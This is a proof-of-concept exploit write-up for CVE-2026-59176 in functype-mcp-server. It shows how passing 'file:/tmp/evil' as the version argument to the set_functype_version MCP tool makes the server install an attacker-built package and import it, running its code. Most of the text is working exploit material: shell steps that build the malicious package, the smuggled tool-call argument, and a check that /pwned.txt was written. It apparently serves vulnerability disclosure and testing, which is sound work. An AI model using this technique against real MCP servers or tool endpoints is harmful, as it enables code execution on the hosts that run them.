CVE-2026-59176: functype-mcp-server set_functype_version Package Alias RCE

# Step 1: create the attacker-controlled package
mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL_INTERFACES = {};
export const VERSION = "1.0.0";
EOF

# Step 2: send the malicious MCP tool call (via exploit.mjs)
# Key argument delivered to set_functype_version:
# { "version": "file:/tmp/evil" }
# This causes the server to run:
#   pnpm add functype@file:/tmp/evil
# then dynamically import /tmp/evil/cli.js, executing writeFileSync above.

REPO="/path/to/functype" node exploit.mjs
# exploit.mjs calls:
# client.callTool({ name: "set_functype_version", arguments: { version: "file:/tmp/evil" } })

# Verify:
cat /pwned.txt
# => RCE: mcp import-time code execution via set_functype_version